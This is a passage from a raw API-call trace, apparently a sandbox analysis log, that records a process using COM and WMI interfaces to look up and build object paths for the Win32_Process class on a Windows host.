puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0158.882] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ec00, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0158.883] IWbemServices:GetObject (in: This=0x1bb97d00, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bbb5120, ppCallResult=0x0) returned 0x0 [0158.885] IWbemClassObject:Get (in: This=0x1bbb5120, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0158.885] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0158.886] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0158.886] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0158.886] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0158.886] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0158.886] IUnknown:Release (This=0x1a943398) returned 0x1 [0158.888] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc14e50) returned 0x0 [0158.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc14e50, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0158.888] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc14e50, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc3efc0) returned 0x0 [0158.888] WbemDefPath:IUnknown:Release (This=0x1bc14e50) returned 0x0 [0158.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc3efc0) returned 0x0 [0158.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0158.889] WbemDefPath:IUnknown:AddRef (This=0x1bc3efc0) returned 0x3 [0158.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0158.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0158.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc14e70) returned 0x0 [0158.889] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc14e70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0158.889] WbemDefPath:IUnknown:Release (This=0x1bc14e70) returned 0x3 [0158.889] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0158.889] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0158.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0158.889] WbemDefPath:IUnknown:Release (This=0x1bc3efc0) returned 0x2 [0158.889] WbemDefPath:IUnknown:Release (This=0x1bc3efc0) returned 0x1 [0158.890] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0158.890] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0158.890] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc3efc0) returned 0x0 [0158.890] WbemDefPath:IUnknown:AddRef (This=0x1bc3efc0) returned 0x3 [0158.890] WbemDefPath:IUnknown:Release (This=0x1bc3efc0) returned 0x2 [0158.890] WbemDefPath:IWbemPath:SetText (This=0x1bc3efc0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0158.890] IWbemClassObject:Get (in: This=0x1bbb5120, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0158.890] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0158.890] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0158.890] IWbemClassObject:Get (in: This=0x1bbb5120, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0158.890] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0158.890] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0158.891] IWbemClassObject:Get (in: This=0x1bbb5120, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0158.891] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0158.891] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0158.891] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0158.891] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0158.891] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0158.891] IUnknown:Release (This=0x1a943398) returned 0x1 [0158.893] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc15010) returned 0x0 [0158.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc15010, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0158.893] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc15010, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3f080) returned 0x0 [0158.893] WbemDefPath:IUnknown:Release (This=0x1bc15010) returned 0x0 [0158.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3f080) returned 0x0 [0158.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0158.911] WbemDefPath:IUnknown:AddRef (This=0x1bc3f080) returned 0x3 [0158.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0158.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0158.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc15050) returned 0x0 [0158.912] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc15050, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0158.912] WbemDefPath:IUnknown:Release (This=0x1bc15050) returned 0x3 [0158.912] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0158.912] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0158.912] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0158.912] WbemDefPath:IUnknown:Release (This=0x1bc3f080) returned 0x2 [0158.912] WbemDefPath:IUnknown:Release (This=0x1bc3f080) returned 0x1 [0158.912] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0158.912] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0158.912] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3f080) returned 0x0 [0158.912] WbemDefPath:IUnknown:AddRef (This=0x1bc3f080) returned 0x3 [0158.912] WbemDefPath:IUnknown:Release (This=0x1bc3f080) returned 0x2 [0158.912] WbemDefPath:IWbemPath:SetText (This=0x1bc3f080, uMode=0x4, pszPath="") returned 0x0 [0158.912] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0158.912] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0158.913] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0158.913] IUnknown:Release (This=0x1a943398) returned 0x1 [0158.915] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc15010) returned 0x0 [0158.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc15010, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0158.915] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc15010, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3f140) returned 0x0 [0158.915] WbemDefPath:IUnknown:Release (This=0x1bc15010) returned 0x0 [0158.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3f140) returned 0x0 [0158.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0158.916] WbemDefPath:IUnknown:AddRef (This=0x1bc3f140) returned 0x3 [0158.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0158.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0158.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc15090) returned 0x0 [0158.916] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc15090, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0158.916] WbemDefPath:IUnknown:Release (This=0x1bc15090) returned 0x3 [0158.916] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0158.916] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0158.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0158.916] WbemDefPath:IUnknown:Release (This=0x1bc3f140) returned 0x2 [0158.916] WbemDefPath:IUnknown:Release (This=0x1bc3f140) returned 0x1 [0158.916] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0158.916] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0158.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3f140) returned 0x0 [0158.916] WbemDefPath:IUnknown:AddRef (This=0x1bc3f140) returned 0x3 [0158.916] WbemDefPath:IUnknown:Release (This=0x1bc3f140) returned 0x2 [0158.916] WbemDefPath:IWbemPath:SetText (This=0x1bc3f140, uMode=0x4, pszPath="") returned 0x0 [0158.917] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f140, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0158.917] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f080, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0158.917] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3f140, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0158.917] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f140, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0158.917] WbemDefPath:IWbemPath:SetServer (This=0x1bc3f140, Name="Q9IATRKPRH") returned 0x0 [0158.917] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0158.917] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0158.917] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0158.917] IUnknown:Release (This=0x1a943398) returned 0x1 [0158.919] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc150b0) returned 0x0 [0158.919] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc150b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0158.919] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc150b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3f380) returned 0x0 [0158.919] WbemDefPath:IUnknown:Release (This=0x1bc150b0) returned 0x0 [0158.919] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3f380) returned 0x0 [0158.920] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0158.920] WbemDefPath:IUnknown:AddRef (This=0x1bc3f380) returned 0x3 [0158.920] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0158.920] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0158.920] 